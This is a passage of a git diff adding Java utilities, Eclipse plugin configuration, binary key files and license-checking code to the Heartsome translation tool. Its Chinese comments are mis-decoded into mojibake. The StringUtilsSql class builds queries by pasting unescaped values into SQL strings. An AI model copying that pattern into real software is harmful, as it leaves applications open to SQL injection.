str; + } else if (!isContainSign && text.length() == 0) { + text += str; + txtList.add(text); + text = ""; + + } else if (!isContainSign) { + text += " " + str; + txtList.add(text); + text = ""; + } + } else if (text.length() < perRowLen) { + if (text.length() == 0) { + text += str; + } else { + text += " " + str; + } + if (i == inputWord.length - 1) { + txtList.add(text); + text = ""; + } + } else { + boolean isSign = false; + for (String sign : signArr) { + if (str.contains(sign)) { + String str1 = str.substring(0, str.lastIndexOf(sign) + 1); + txtList.add(text + " " + str1); + text = str.substring(str.lastIndexOf(sign) + 1); + isSign = true; + break; + } + } + if (!isSign) { + text += " " + str; + txtList.add(text); + text = ""; + } + } + } + value = ""; + for (String s : txtList) { + value = value.concat(s + "
    "); + } + if (value.length() > 4) { + value = value.substring(0, value.length() - 4); + } + } else { + //input 为中文或者一个无空格的英文字符串 + String subStr = ""; +// if (title.matches("[\\u4e00-\\u9fbb]+")) { + char[] ch = value.toCharArray(); + double len = 0; + for (char c : ch) { + Character.UnicodeBlock ub = Character.UnicodeBlock.of(c); + //如果第一个字符是标点符å·ï¼Œåˆ™è¯¥æ ‡ç‚¹ç¬¦å·ç§»åˆ°ä¸Šä¸€è¡Œ + if (len == 0 && (ub == Character.UnicodeBlock.GENERAL_PUNCTUATION //åˆ¤æ–­ä¸­æ–‡çš„â€œå· + || ub == Character.UnicodeBlock.CJK_SYMBOLS_AND_PUNCTUATION //åˆ¤æ–­ä¸­æ–‡çš„ã€‚å· + || ub == Character.UnicodeBlock.HALFWIDTH_AND_FULLWIDTH_FORMS //åˆ¤æ–­ä¸­æ–‡çš„ï¼Œå· + )) { + if (subStr.length() > 4) { + subStr = subStr.substring(0, subStr.length() - 4) + c + "
    "; + } else { + subStr = c + ""; + } + continue; + } else { + subStr += c; + } + if ((int) c >= 0x4E00 && (int) c <= 0x9FA5) { + len += 2.5; + } else { + len += 1; + } + if (len >= perRowLen) { + subStr += "
    "; + len = 0; + } + } + value = subStr; + } + } + + return value; + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsSql.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsSql.java new file mode 100644 index 0000000..17f416a --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsSql.java @@ -0,0 +1,220 @@ +/** + * StringUtilsSql.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.string; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.List; + +import cn.org.tools.utils.constant.Constants; + +/** + * 涉åŠæ‹¼å‡‘SQL语å¥çš„字符串æ“作. + * @author simon + * @version + * @since JDK1.6 + */ +public class StringUtilsSql extends StringUtilsBasic { + + /** The sqllist. */ + private List sqllist; + + /** The add sql map. */ + private HashMap addSqlMap; + + /** The subname. */ + private StringBuffer subname; + + /** The subvalue. */ + private StringBuffer subvalue; + + /** The temp. */ + private StringBuffer temp; + + /** The Constant OPERATOR_LIKE. */ + public static final String OPERATOR_LIKE = "like"; + + /** The Constant OPERATOR_EQUALS. */ + public static final String OPERATOR_EQUALS = "="; + + /** The Constant OPERATOR_GREATER. */ + public static final String OPERATOR_GREATER = ">"; + + /** The Constant OPERATOR_LESS. */ + public static final String OPERATOR_LESS = "<"; + + /** The Constant OPERATOR_GREATER_EQUALS. */ + public static final String OPERATOR_GREATER_EQUALS = ">="; + + /** The Constant OPERATOR_LESS_EQUALS. */ + public static final String OPERATOR_LESS_EQUALS = "<="; + + /** + * 获得 sql æ¡ä»¶è¯­å¥. + * @param colName + * æ•°æ®åº“列å + * @param operator + * æ“作符(使用本类中定义的æ“作符常é‡) + * @param value + * 列值 + * @return String + * sql æ¡ä»¶è¯­å¥ + */ + public static String getCondition(String colName, String operator, String value) { + StringBuffer temp = new StringBuffer(); + temp.append(colName); + if (OPERATOR_LIKE.equals(operator)) { + temp.append(" " + OPERATOR_LIKE + " '%" + value + "%'"); + } else if (OPERATOR_EQUALS.equals(operator)) { + temp.append(" " + OPERATOR_EQUALS + " '" + value + "'"); + } else if (OPERATOR_GREATER.equals(operator)) { + temp.append(" " + OPERATOR_GREATER + " '" + value + "'"); + } else if (OPERATOR_LESS.equals(operator)) { + temp.append(" " + OPERATOR_LESS + " '" + value + "'"); + } else if (OPERATOR_GREATER_EQUALS.equals(operator)) { + temp.append(" " + OPERATOR_GREATER_EQUALS + " '" + value + "'"); + } else if (OPERATOR_LESS_EQUALS.equals(operator)) { + temp.append(" " + OPERATOR_LESS_EQUALS + " '" + value + "'"); + } + return temp.toString(); + } + + /** + * 构造方法. + */ + public StringUtilsSql() { + sqllist = new ArrayList(); + + addSqlMap = new LinkedHashMap(); + + subname = new StringBuffer(); + + subvalue = new StringBuffer(); + + temp = new StringBuffer(); + + } + + /** + * 清空数æ®ã€‚ + */ + public void clear() { + StringUtilsBasic.clearStringBuffer(subname); + StringUtilsBasic.clearStringBuffer(subvalue); + StringUtilsBasic.clearStringBuffer(temp); + sqllist.clear(); + addSqlMap.clear(); + } + + /** + * 获得 sql 语å¥. + * @param sql + * 进行查询的SQL语å¥ï¼Œå¦‚果为空字符串,则根æ®ä¼ å…¥çš„其它å‚数组æˆSQLè¯­å¥ + * @param orderby + * 进行排åºçš„字段å + * @param tablename + * 如果å‚æ•° sql 为空字符串,则表示需è¦æŸ¥è¯¢çš„表å,å¦åˆ™è¿™ä¸ªå‚数将忽略,如果 sql å’Œ tablename åŒæ—¶ä¸º null,返回空串"" + * @param where + * 查询数æ®åº“时的 where æ¡ä»¶ + * @param order + * 查询数æ®åº“时的排åºæ–¹å¼ï¼Œ"ASC"为å‡åº(默认),"DESC"为é™åº + * @param groupby + * 查询数æ®åº“时的分组字段。 + * @return String + * 由传入å‚数组æˆçš„ sql è¯­å¥ + */ + public static String getSql(String sql, String orderby, String tablename, String where, String order, String groupby) { + if (orderby == null) { + orderby = ""; + } + if (sql == null && tablename == null) { + return ""; + } + if (sql == null) { + sql = ""; + } + if (where == null) { + where = ""; + } + if (order == null) { + order = ""; + } + if (groupby == null) { + groupby = ""; + } + if ("".equals(sql)) { + sql = "select * from " + tablename + " where 1=1 " + where; + if (!"".equals(groupby)) { + sql += " group by " + groupby; + } + if (!"".equals(orderby)) { + sql += " order by " + orderby + " " + order; + } + } else { + if (!"".equals(groupby) && sql.indexOf("group by") < 0) { + sql += " group by " + groupby; + } + if ("".equals(orderby)) { + sql += where; + } else { + if (sql.indexOf("order") != -1) { + sql = sql.substring(0, sql.indexOf("order")); + } + sql += where + " order by " + orderby + " " + order; + } + } + return sql; + } + + /** + * 获得查询记录数的 sql è¯­å¥ + * @param sql + * 进行查询的SQLè¯­å¥ + * @return String + * 查询记录数的 sql è¯­å¥ + */ + public String getCountSql(String sql) { + String countsql = ""; + if (!"".equals(sql)) { + countsql = "select count(*) from (" + sql + ") a"; + } + return countsql; + } + + /** + * å°† sql 语å¥æ·»åŠ  limit å­å¥ï¼ŒæŸ¥è¯¢ä»Ž startpos 开始(第一æ¡è®°å½•ä¸º0)çš„ pagesize æ¡è®°å½• + * @param sql + * 进行查询的SQLè¯­å¥ + * @param startpos + * 开始记录 + * @param pagesize + * 记录数 + * @return String + * 添加了 limit å­å¥çš„ sql è¯­å¥ + */ + public String getLimitSql(String sql, int startpos, int pagesize) { + String limitsql = ""; + if (!"".equals(sql)) { + switch (Constants.DATABASE_TYPE) { + case Constants.DATABASE_TYPE_MYSQL: + limitsql = sql + " limit " + startpos + "," + pagesize; + break; + case Constants.DATABASE_TYPE_MSSQL: + break; + case Constants.DATABASE_TYPE_OROCALE: + break; + default: + break; + } + } + return limitsql; + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsText.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsText.java new file mode 100644 index 0000000..8238a9f --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsText.java @@ -0,0 +1,20 @@ +/** + * StringUtilsText.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.string; + +/** + * 涉åŠæ–‡æœ¬å…§å®¹çš„字符串æ“作.该类继承了 StringUtilsBasic,自己无任何属性或方法 + * @author simon + * @version + * @since JDK1.6 + */ +public class StringUtilsText extends StringUtilsBasic { + +} diff --git a/base_plugins/net.heartsome.cat.te.qa/.classpath b/base_plugins/net.heartsome.cat.te.qa/.classpath new file mode 100644 index 0000000..0566ae1 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/.classpath @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/base_plugins/net.heartsome.cat.te.qa/.gitignore b/base_plugins/net.heartsome.cat.te.qa/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/base_plugins/net.heartsome.cat.te.qa/.project b/base_plugins/net.heartsome.cat.te.qa/.project new file mode 100644 index 0000000..d5c92f0 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.te.qa + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_plugins/net.heartsome.cat.te.qa/.settings/org.eclipse.core.resources.prefs b/base_plugins/net.heartsome.cat.te.qa/.settings/org.eclipse.core.resources.prefs new file mode 100644 index 0000000..99f26c0 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/.settings/org.eclipse.core.resources.prefs @@ -0,0 +1,2 @@ +eclipse.preferences.version=1 +encoding/=UTF-8 diff --git a/base_plugins/net.heartsome.cat.te.qa/.settings/org.eclipse.jdt.core.prefs b/base_plugins/net.heartsome.cat.te.qa/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..c537b63 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/base_plugins/net.heartsome.cat.te.qa/32/liblinux_x86_EtherAddr.so b/base_plugins/net.heartsome.cat.te.qa/32/liblinux_x86_EtherAddr.so new file mode 100644 index 0000000..c925008 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/32/liblinux_x86_EtherAddr.so differ diff --git a/base_plugins/net.heartsome.cat.te.qa/64/liblinux_x86_EtherAddr.so b/base_plugins/net.heartsome.cat.te.qa/64/liblinux_x86_EtherAddr.so new file mode 100644 index 0000000..1c21d44 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/64/liblinux_x86_EtherAddr.so differ diff --git a/base_plugins/net.heartsome.cat.te.qa/META-INF/MANIFEST.MF b/base_plugins/net.heartsome.cat.te.qa/META-INF/MANIFEST.MF new file mode 100644 index 0000000..b5c6331 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/META-INF/MANIFEST.MF @@ -0,0 +1,34 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TE QA +Bundle-SymbolicName: net.heartsome.cat.te.qa;singleton:=true +Bundle-Version: 8.0.2.R8b_v20131218 +Require-Bundle: org.eclipse.core.runtime, + org.eclipse.ui;bundle-version="3.7.0", + net.heartsome.cat.common.ui;bundle-version="8.0.0" +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Bundle-ClassPath: lib/bcprov-jdk14-136.jar, + ., + lib/jug.jar, + lib/xfire-all-1.2.6.jar, + lib/activation.jar, + lib/commons-attributes-api-2.1.jar, + lib/commons-beanutils-1.7.0.jar, + lib/commons-codec-1.3.jar, + lib/commons-discovery-0.2.jar, + lib/commons-httpclient-3.0.jar, + lib/commons-logging-1.0.4.jar, + lib/dom4j-1.6.1.jar, + lib/jaxen-1.1-beta-7.jar, + lib/jaxen-1.1-beta-9.jar, + lib/jaxrpc.jar, + lib/jdom-1.0.jar, + lib/log4j-1.2.14.jar, + lib/mail.jar, + lib/saaj.jar, + lib/spring.jar, + lib/wsdl4j-1.5.1.jar +Export-Package: net.heartsome.cat.ts.help, + net.heartsome.license.resource +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_plugins/net.heartsome.cat.te.qa/build.properties b/base_plugins/net.heartsome.cat.te.qa/build.properties new file mode 100644 index 0000000..b10442f --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/build.properties @@ -0,0 +1,14 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + liblinux_x86_EtherAddr.so,\ + plugin.properties,\ + plugin_en.properties,\ + lib/,\ + plugin_zh.properties,\ + win_x86_Series.dll,\ + win_x86_Series_32bit.dll,\ + win_x86_Series_64bit.dll,\ + images/ diff --git a/base_plugins/net.heartsome.cat.te.qa/images/help/copy.png b/base_plugins/net.heartsome.cat.te.qa/images/help/copy.png new file mode 100644 index 0000000..940c99e Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/images/help/copy.png differ diff --git a/base_plugins/net.heartsome.cat.te.qa/images/help/license.png b/base_plugins/net.heartsome.cat.te.qa/images/help/license.png new file mode 100644 index 0000000..d11f797 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/images/help/license.png differ diff --git a/base_plugins/net.heartsome.cat.te.qa/key/1.dat b/base_plugins/net.heartsome.cat.te.qa/key/1.dat new file mode 100644 index 0000000..aed2973 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/key/1.dat @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/key/1.key b/base_plugins/net.heartsome.cat.te.qa/key/1.key new file mode 100644 index 0000000..baf797d Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/key/1.key differ diff --git a/base_plugins/net.heartsome.cat.te.qa/key/1342073582799.key b/base_plugins/net.heartsome.cat.te.qa/key/1342073582799.key new file mode 100644 index 0000000..fce2b40 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/key/1342073582799.key @@ -0,0 +1,2 @@ +^z_²Nš3{‰uJÛ’ô"—c³E‘{@ö¦ê˜Šß[M®3)QVµØfÙ|fhÂöÉ_‹1n@t* a +cš>4ú¥ œÝ ºéð?ð>‡÷Ä^«ù©­JüyþÕºÒ>¢ÙϨ깆—ÕÕþëÿ»0ußq\ 9{CëÃîÆ€‚€hÂU£³Å2)þ5?Šq„ ­ð–Û`WûÊñ‚s¯K­SÆr™4“q‹¼#En õ/š“ñ‚wÇÕÜô*š½9Ú°9çÚ°œŸ¡ á¨t³T*räŠ2˜Ã†<gû˜«Ómvâ›_D’c(uÿ \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/key/PrivateKey b/base_plugins/net.heartsome.cat.te.qa/key/PrivateKey new file mode 100644 index 0000000..2504517 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/key/PrivateKey differ diff --git a/base_plugins/net.heartsome.cat.te.qa/key/PublicKey b/base_plugins/net.heartsome.cat.te.qa/key/PublicKey new file mode 100644 index 0000000..a193e40 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/key/PublicKey differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/bcprov-jdk14-136.jar b/base_plugins/net.heartsome.cat.te.qa/lib/bcprov-jdk14-136.jar new file mode 100644 index 0000000..c1cf5b3 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/bcprov-jdk14-136.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/commons-codec-1.3.jar b/base_plugins/net.heartsome.cat.te.qa/lib/commons-codec-1.3.jar new file mode 100644 index 0000000..957b675 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/commons-codec-1.3.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/commons-httpclient-3.0.jar b/base_plugins/net.heartsome.cat.te.qa/lib/commons-httpclient-3.0.jar new file mode 100644 index 0000000..54a9300 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/commons-httpclient-3.0.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/commons-logging-1.0.4.jar b/base_plugins/net.heartsome.cat.te.qa/lib/commons-logging-1.0.4.jar new file mode 100644 index 0000000..b73a80f Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/commons-logging-1.0.4.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/jdom-1.0.jar b/base_plugins/net.heartsome.cat.te.qa/lib/jdom-1.0.jar new file mode 100644 index 0000000..288e64c Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/jdom-1.0.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/jug.jar b/base_plugins/net.heartsome.cat.te.qa/lib/jug.jar new file mode 100644 index 0000000..c616371 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/jug.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/log4j-1.2.14.jar b/base_plugins/net.heartsome.cat.te.qa/lib/log4j-1.2.14.jar new file mode 100644 index 0000000..6251307 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/log4j-1.2.14.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/wsdl4j-1.5.1.jar b/base_plugins/net.heartsome.cat.te.qa/lib/wsdl4j-1.5.1.jar new file mode 100644 index 0000000..c6254ee Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/wsdl4j-1.5.1.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/lib/xfire-all-1.2.6.jar b/base_plugins/net.heartsome.cat.te.qa/lib/xfire-all-1.2.6.jar new file mode 100644 index 0000000..828b680 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/lib/xfire-all-1.2.6.jar differ diff --git a/base_plugins/net.heartsome.cat.te.qa/net_heartsome_license_Series.h b/base_plugins/net.heartsome.cat.te.qa/net_heartsome_license_Series.h new file mode 100644 index 0000000..fa0f6b1 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/net_heartsome_license_Series.h @@ -0,0 +1,21 @@ +/* DO NOT EDIT THIS FILE - it is machine generated */ +#include +/* Header for class net_heartsome_license_Series */ + +#ifndef _Included_net_heartsome_license_Series +#define _Included_net_heartsome_license_Series +#ifdef __cplusplus +extern "C" { +#endif +/* + * Class: net_heartsome_license_Series + * Method: getSeries + * Signature: ()Ljava/lang/String; + */ +JNIEXPORT jstring JNICALL Java_net_heartsome_license_Series_getSeries + (JNIEnv *, jclass); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/base_plugins/net.heartsome.cat.te.qa/plugin.properties b/base_plugins/net.heartsome.cat.te.qa/plugin.properties new file mode 100644 index 0000000..db27789 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/plugin.properties @@ -0,0 +1 @@ +menu.licensemanage = \u8bb8\u53ef\u8bc1\u7ba1\u7406... diff --git a/base_plugins/net.heartsome.cat.te.qa/plugin.xml b/base_plugins/net.heartsome.cat.te.qa/plugin.xml new file mode 100644 index 0000000..41fb62f --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/plugin.xml @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_plugins/net.heartsome.cat.te.qa/plugin_en.properties b/base_plugins/net.heartsome.cat.te.qa/plugin_en.properties new file mode 100644 index 0000000..e8daccf --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/plugin_en.properties @@ -0,0 +1 @@ +menu.licensemanage = License Management... diff --git a/base_plugins/net.heartsome.cat.te.qa/plugin_zh.properties b/base_plugins/net.heartsome.cat.te.qa/plugin_zh.properties new file mode 100644 index 0000000..db27789 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/plugin_zh.properties @@ -0,0 +1 @@ +menu.licensemanage = \u8bb8\u53ef\u8bc1\u7ba1\u7406... diff --git a/base_plugins/net.heartsome.cat.te.qa/src/log4j.properties b/base_plugins/net.heartsome.cat.te.qa/src/log4j.properties new file mode 100644 index 0000000..ba48d96 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/log4j.properties @@ -0,0 +1,22 @@ +#log4j.rootLogger=INFO, Console , R + +#log4j.appender.Console=org.apache.log4j.ConsoleAppender +#log4j.appender.Console.layout=org.apache.log4j.PatternLayout +#log4j.appender.Console.layout.ConversionPattern=[HSERP] %p [%t] | %m%n + +#log4j.appender.R=org.apache.log4j.DailyRollingFileAppender +#log4j.appender.R.File=webapps/HeartsomeErp/Log/hserp_service.log +#log4j.appender.R.layout=org.apache.log4j.PatternLayout +#log4j.appender.R.layout.ConversionPattern=[HSERP]-%p %d: %m%n + + +log4j.rootLogger = INFO, DailyLog + +log4j.appender.DailyLog = org.apache.log4j.DailyRollingFileAppender +log4j.appender.DailyLog.File = ${user.home}/Heartsome Workspace/.log/HSCAT8 +log4j.appender.DailyLog.DatePattern='_'yyyy_MM_dd'.log' +log4j.appender.DailyLog.Threshold = INFO +log4j.appender.DailyLog.layout=org.apache.log4j.PatternLayout +log4j.appender.DailyLog.layout.ConversionPattern=[HSCAT8]-%p %d %l: %m%n + + \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/Activator.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/Activator.java new file mode 100644 index 0000000..b56810e --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/Activator.java @@ -0,0 +1,55 @@ +package net.heartsome.cat.ts.help; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + /** + * The plug-in ID + */ + public static final String PLUGIN_ID = "net.heartsome.cat.ts.help"; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + @Override + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + @Override + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in relative path + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/SystemResourceUtil.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/SystemResourceUtil.java new file mode 100644 index 0000000..5d75535 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/cat/ts/help/SystemResourceUtil.java @@ -0,0 +1,515 @@ +package net.heartsome.cat.ts.help; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.widgets.Display; + +import net.heartsome.license.LicenseAgreementDialog; +import net.heartsome.license.LicenseManageDialog; +import net.heartsome.license.LocalAuthorizationValidator; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.utils.DateUtils; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.webservice.ServiceUtil; + +public class SystemResourceUtil { + + public static String dateTemp; + + private static LocalAuthorizationValidator v = new LocalAuthorizationValidator(); + private static int re; + private static boolean isExsit = false; + + public static void beforeload() { + isExsit = FileUtils.isExsit(); + if (isExsit) { + re = v.checkLicense(); + } + } + + public static void load(boolean isShow) { + if (isExsit) { + if (Constants.STATE_VALID == re) { + try { + final int ret = ServiceUtil.check(v.getLicenseId(), v.getMacCode(), v.getInstall()); + final String date = ServiceUtil.getTempEndDate(v.getLicenseId()); + if (Constants.STATE_VALID == ret) { + if (isShow) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_VALID, date, v.getLicenseId()); + dialog.open(); + } + }); + } + } else if (ret == Constants.STATE_INVALID) { + FileUtils.removeFile(); + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_INVALID, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (ret == Constants.STATE_EXPIRED) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_EXPIRED, date, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (Constants.EXCEPTION_INT15 == ret) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.EXCEPTION_INT15, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), ret, null, v.getLicenseId()); + dialog.open(); + System.exit(0); + } + }); + } + } catch (Exception e) { + e.printStackTrace(); + if (v.isTrial()) { + Throwable t = e; + while(t.getCause() != null) { + t = t.getCause(); + } + if (t instanceof java.security.cert.CertificateException) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.EXCEPTION_INT16, null, v.getLicenseId()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.EXCEPTION_INT17, null, v.getLicenseId()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } + } else { + if (isShow) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_VALID, null, v.getLicenseId()); + dialog.open(); + } + }); + } + } + } + } else if (Constants.STATE_INVALID == re) { + FileUtils.removeFile(); + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_INVALID, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (Constants.EXCEPTION_INT15 == re + || Constants.EXCEPTION_INT1 == re || Constants.EXCEPTION_INT2 == re + || Constants.EXCEPTION_INT3 == re || Constants.EXCEPTION_INT4 == re) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (Constants.EXCEPTION_INT14 == re) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, v.getLicenseId()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), re, null, v.getLicenseId()); + dialog.open(); + System.exit(0); + } + }); + } + } else { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseAgreementDialog dialog = new LicenseAgreementDialog(Display.getDefault().getActiveShell()); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } + } + + public static void load() { + new Thread(new Runnable() { + public void run() { + if (DateUtils.getDate().equals(dateTemp)) { + return; + } else { + dateTemp = DateUtils.getDate(); + } + + if (FileUtils.isExsit()) { + final LocalAuthorizationValidator v = new LocalAuthorizationValidator(); + final int re = v.checkLicense(); + if (Constants.STATE_VALID == re) { + try { + final int ret = ServiceUtil.check(v.getLicenseId(), v.getMacCode(), v.getInstall()); + final String date = ServiceUtil.getTempEndDate(v.getLicenseId()); + if (Constants.STATE_VALID == ret) { + } else if (ret == Constants.STATE_INVALID) { + FileUtils.removeFile(); + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_INVALID, null, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (ret == Constants.STATE_EXPIRED) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), Constants.STATE_EXPIRED, date, null); + int result = dialog.open(); + if (result != IDialogConstants.OK_ID) { + System.exit(0); + } + } + }); + } else if (Constants.EXCEPTION_INT15 == ret) { + Display.getDefault().asyncExec(new Runnable() { 